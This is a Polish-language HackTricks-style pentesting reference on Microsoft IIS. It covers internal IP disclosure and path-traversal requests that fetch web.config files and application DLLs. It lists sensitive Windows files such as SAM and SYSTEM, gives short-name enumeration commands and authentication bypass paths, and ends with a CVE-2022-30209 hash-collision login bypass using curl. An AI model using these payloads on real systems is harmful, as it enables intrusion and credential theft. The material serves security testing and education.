IIS - Internet Information Services

Support HackTricks

WhiteIntel to silnik wyszukiwania zasilany dark-web, który oferuje darmowe funkcjonalności do sprawdzenia, czy firma lub jej klienci zostali skompromentowani przez złośliwe oprogramowanie kradnące.

Ich głównym celem jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.

Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za darmo pod adresem:


Testuj rozszerzenia plików wykonywalnych:

  • asp

  • aspx

  • config

  • php

Ujawnienie wewnętrznego adresu IP

Na każdym serwerze IIS, na którym otrzymujesz 302, możesz spróbować usunąć nagłówek Host i użyć HTTP/1.0, a w odpowiedzi nagłówek Location może wskazywać na wewnętrzny adres IP:

nc -v domain.com 80
openssl s_client -connect domain.com:443

Odpowiedź ujawniająca wewnętrzny adres IP:

GET / HTTP/1.0

HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016

Wykonywanie plików .config

Możesz przesyłać pliki .config i używać ich do wykonywania kodu. Jednym ze sposobów jest dodanie kodu na końcu pliku wewnątrz komentarza HTML: Pobierz przykład tutaj

Więcej informacji i technik dotyczących wykorzystania tej podatności tutaj

Bruteforce odkrywania IIS

Pobierz listę, którą stworzyłem:

Została stworzona poprzez połączenie zawartości następujących list:

https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt

Użyj jej bez dodawania jakiegoś rozszerzenia, pliki, które go potrzebują, już je mają.

Przechodzenie ścieżek

Wyciekanie kodu źródłowego

Sprawdź pełny opis w: https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html

Podsumowując, w folderach aplikacji znajduje się kilka plików web.config z odniesieniami do plików "assemblyIdentity" i "namespaces". Dzięki tym informacjom możliwe jest ustalenie gdzie znajdują się pliki wykonywalne i ich pobranie. Z pobranych Dll można również znaleźć nowe przestrzenie nazw, do których należy spróbować uzyskać dostęp i pobrać plik web.config, aby znaleźć nowe przestrzenie nazw i assemblyIdentity. Ponadto pliki connectionstrings.config i global.asax mogą zawierać interesujące informacje.\

W aplikacjach .Net MVC plik web.config odgrywa kluczową rolę, określając każdy plik binarny, na którym opiera się aplikacja, za pomocą tagów XML "assemblyIdentity".

Eksploracja plików binarnych

Przykład dostępu do pliku web.config pokazano poniżej:

GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded

To żądanie ujawnia różne ustawienia i zależności, takie jak:

  • EntityFramework wersja

  • AppSettings dla stron internetowych, walidacji klienta i JavaScript

  • System.web konfiguracje dla uwierzytelniania i czasu wykonywania

  • System.webServer ustawienia modułów

  • Runtime powiązania zestawów dla licznych bibliotek, takich jak Microsoft.Owin, Newtonsoft.Json i System.Web.Mvc

Te ustawienia wskazują, że niektóre pliki, takie jak /bin/WebGrease.dll, znajdują się w folderze /bin aplikacji.

Pliki katalogu głównego

Pliki znajdujące się w katalogu głównym, takie jak /global.asax i /connectionstrings.config (który zawiera wrażliwe hasła), są niezbędne do konfiguracji i działania aplikacji.

Przestrzenie nazw i Web.Config

Aplikacje MVC definiują również dodatkowe web.config files dla konkretnych przestrzeni nazw, aby uniknąć powtarzalnych deklaracji w każdym pliku, co ilustruje żądanie pobrania innego web.config:

GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded

Pobieranie DLL

Wzmianka o niestandardowej przestrzeni nazw sugeruje istnienie DLL o nazwie "WebApplication1" w katalogu /bin. Następnie pokazano żądanie pobrania WebApplication1.dll:

GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded

To sugeruje obecność innych istotnych DLL, takich jak System.Web.Mvc.dll i System.Web.Optimization.dll, w katalogu /bin.

W scenariuszu, w którym DLL importuje przestrzeń nazw o nazwie WebApplication1.Areas.Minded, atakujący może wywnioskować istnienie innych plików web.config w przewidywalnych ścieżkach, takich jak /area-name/Views/, zawierających specyficzne konfiguracje i odniesienia do innych DLL w folderze /bin. Na przykład, żądanie do /Minded/Views/web.config może ujawnić konfiguracje i przestrzenie nazw, które wskazują na obecność innego DLL, WebApplication1.AdditionalFeatures.dll.

Common files

From here

C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml

HTTPAPI 2.0 404 Error

Jeśli zobaczysz błąd podobny do poniższego:

Oznacza to, że serwer nie otrzymał poprawnej nazwy domeny w nagłówku Host. Aby uzyskać dostęp do strony internetowej, możesz spojrzeć na serwowany certyfikat SSL i być może znajdziesz tam nazwę domeny/poddomeny. Jeśli jej tam nie ma, może być konieczne brute force VHosts, aż znajdziesz poprawną.

Stare luki w IIS, na które warto zwrócić uwagę

Microsoft IIS tilde character “~” Vulnerability/Feature – Short File/Folder Name Disclosure

Możesz spróbować enumerować foldery i pliki w każdym odkrytym folderze (nawet jeśli wymaga to podstawowej autoryzacji) używając tej techniki. Głównym ograniczeniem tej techniki, jeśli serwer jest podatny, jest to, że może znaleźć tylko pierwsze 6 liter nazwy każdego pliku/folderu oraz pierwsze 3 litery rozszerzenia plików.

Możesz użyć https://github.com/irsdl/IIS-ShortName-Scanner do testowania tej luki: java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/

Oryginalne badania: https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf

Możesz również użyć metasploit: use scanner/http/iis_shortname_scanner

Basic Authentication bypass

Obejdź podstawową autoryzację (IIS 7.5) próbując uzyskać dostęp do: /admin:$i30:$INDEX_ALLOCATION/admin.php lub /admin::$INDEX_ALLOCATION/admin.php

Możesz spróbować połączyćlukę z ostatnią, aby znaleźć nowe foldery i obejść autoryzację.

ASP.NET Trace.AXD enabled debugging

ASP.NET zawiera tryb debugowania, a jego plik nazywa się trace.axd.

Zachowuje bardzo szczegółowy dziennik wszystkich żądań wysyłanych do aplikacji przez pewien czas.

Informacje te obejmują adresy IP zdalnych klientów, identyfikatory sesji, wszystkie ciasteczka żądań i odpowiedzi, fizyczne ścieżki, informacje o kodzie źródłowym, a potencjalnie nawet nazwy użytkowników i hasła.

https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/

Screenshot 2021-03-30 at 13 19 11

ASPXAUTH używa następujących informacji:

  • validationKey (string): klucz zakodowany w hex do użycia do walidacji podpisu.

  • decryptionMethod (string): (domyślnie “AES”).

  • decryptionIV (string): wektor inicjalizacyjny zakodowany w hex (domyślnie wektor zerowy).

  • decryptionKey (string): klucz zakodowany w hex do użycia do deszyfrowania.

Jednak niektórzy ludzie będą używać domyślnych wartości tych parametrów i będą używać jako ciasteczka e-maila użytkownika. Dlatego, jeśli możesz znaleźć stronę internetową używającą tej samej platformy, która używa ciasteczka ASPXAUTH i stworzysz użytkownika z e-mailem użytkownika, którego chcesz udawać na serwerze pod atakiem, możesz być w stanie użyć ciasteczka z drugiego serwera w pierwszym i udawać użytkownika. Ten atak zadziałał w tym opisie.

IIS Authentication Bypass with cached passwords (CVE-2022-30209)

Pełny raport tutaj: Błąd w kodzie nie sprawdzał poprawnie hasła podanego przez użytkownika, więc atakujący, którego hash hasła trafia na klucz, który już znajduje się w pamięci podręcznej, będzie mógł zalogować się jako ten użytkownik.

# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j

assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')

# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized

# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK

WhiteIntel to silnik wyszukiwania zasilany dark-webem, który oferuje darmowe funkcje sprawdzania, czy firma lub jej klienci zostali skompromentowani przez złośliwe oprogramowanie kradnące.

Głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.

Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za darmo pod adresem:

Wsparcie HackTricks

Last updated